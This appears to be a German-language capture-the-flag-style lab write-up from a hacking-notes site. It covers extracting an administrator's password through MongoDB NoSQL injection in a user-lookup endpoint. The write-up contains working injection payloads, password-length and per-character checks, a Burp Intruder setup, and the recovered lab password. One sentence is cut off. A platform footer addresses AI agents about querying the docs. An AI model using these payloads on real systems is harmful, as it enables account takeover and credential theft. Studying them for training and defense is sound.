> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/nosql-injection/data-extraction-via-nosql-injection.md).

# Datenextraktion via NoSQL-Injektion

### Ausnutzen einer NoSQL-Injektion zum Extrahieren von Daten

**Lab-Hintergrund**

Die Benutzersuchfunktion dieses Labs basiert auf einer NoSQL-Datenbank **MongoDB**. / Sie ist anfällig für eine \*\*NoSQL-Injektion\*\*.

\*\*Ziel:\*\*/ Das Passwort des Benutzers extrahieren **Administrator** und sich dann bei seinem Konto anmelden.

Ein gültiges Konto wird bereitgestellt:

* **Kennung:** `wiener`
* **Passwort:** `peter`

```bash
csrf=9FxorVglwXv5ZCx4bSUi29Bge07i8pJP&username=wiener&password=peter
```

<figure><img src="/files/78a84e53a931664dca1993a1c487b5a749196e0e" alt=""><figcaption></figcaption></figure>

**Analyse des Vorgangs**

Nach der Verbindung mit `wiener:peter`, wird die folgende Anfrage im Hintergrund gesendet:

```bash
GET /user/lookup?user=
```

Diese Abfrage listet Informationen über Benutzer auf.

* Beispiel:

```bash
GET /user/lookup?user=administrator
```

<figure><img src="/files/5c45975f6b0c5c619fd088faf7d646d5c30e7a97" alt=""><figcaption></figcaption></figure>

Das Frontend zeigt dann an:

```bash
Ihr Benutzername ist: wiener (Rolle: Benutzer)
```

<figure><img src="/files/1d0a5b0c2f32cc3856950ec0d3f1d2c909d4ed07" alt=""><figcaption></figcaption></figure>

**Erkennung einer NoSQL-Schwachstelle**

Durch das Einschleusen eines einzelnen Apostrophs:

```bash
administrator'
```

Der Server gibt einen Fehler zurück:

```terraform
{
  "message": "Beim Abrufen der Benutzerdetails ist ein Fehler aufgetreten"
}
```

<figure><img src="/files/d38582b73e5f22cb2338ee0dba1aa3d903adcbb4" alt=""><figcaption></figcaption></figure>

Wenn jedoch eine immer wahre Bedingung hinzugefügt wird:

```bash
administrator' || true ||'
```

Die Anfrage wird akzeptiert und bestätigt damit das Vorliegen einer \*\*NoSQL-Injektion\*\*.

**Extraktion der Passwortlänge**

Das `this.password.length` Attribut wird verwendet, um die Passwortlänge zu bestimmen.

Testbeispiel:

```bash
wiener' && this.password.length <40 ||'
wiener' && this.password.length == 5 ||'
```

Damit dies ordnungsgemäß funktioniert, ist es notwendig, \*\*d

```bash
wiener' %26%26 this.password.length == 5 ||'
```

\*\*Anwendung auf den Administrator\*\*

<figure><img src="/files/714aff7dcb900d61d9fcda3620b84597cb832be0" alt=""><figcaption></figcaption></figure>

Durch Wiederholung der Methode mit dem `Administrator` Benutzer:

```bash
administrator' && this.password.length == 8 ||'
administrator' %26%26 this.password.length == 8 ||'
```

Die Bedingung wird bestätigt, was darauf hinweist, dass das Passwort des Administrators **8 Zeichen enthält**.

<figure><img src="/files/cda18f0c07c0b0ad40dfd1c8ceb115e0c4324ee2" alt=""><figcaption></figcaption></figure>

**Zeichen für Zeichen extrahieren**

Dann nach Position filtern:

```bash
administrator' %26%26 this.password[0]=='X
```

Diese Anfrage wird gesendet an **Intruder**.

<figure><img src="/files/69e25ea2a84c84b77509919e9dc92c249f23fe6c" alt=""><figcaption></figcaption></figure>

### \*\*Angriff mit Intruder\*\*

<figure><img src="/files/3ef9db7a560969fea92638a6fe13e157c961f635" alt=""><figcaption></figcaption></figure>

Angriffstyp : **Cluster Bomb**

<figure><img src="/files/0d11e042f83e84ee93bef8a2667f79ed110ffb03" alt=""><figcaption></figcaption></figure>

Parameter:

* Zeichenposition: `0` zu `7` Werte

<figure><img src="/files/ed246f04fc672ee136a669b15b857ceb4d4a5da2" alt=""><figcaption></figcaption></figure>

* Testzeichen: Alphabet (Buchstabenwörterbuch)

<figure><img src="/files/4a64f1dd2ff47ad0605e6b9b4b0eb195063f9633" alt=""><figcaption></figcaption></figure>

Durch die Analyse gültiger Antworten wird das Passwort rekonstruiert.

| Zahl | Buchst |
| ---- | ------ |
| 0    | v      |
| 1    | x      |
| 2    | t      |
| 3    | r      |
| 4    | m      |
| 5    | e      |
| 6    | z      |
| 7    | s      |

<figure><img src="/files/0debba9c0e7f4fbdcf14ad28cd1a9a5a98351605" alt=""><figcaption></figcaption></figure>

**Endergebnis**

**Passwort des Administratorkontos:**

`vxtrmezs`

<figure><img src="/files/a7edcf6d18c4247c039a87a6fbae94a1458bcacb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/nosql-injection/data-extraction-via-nosql-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
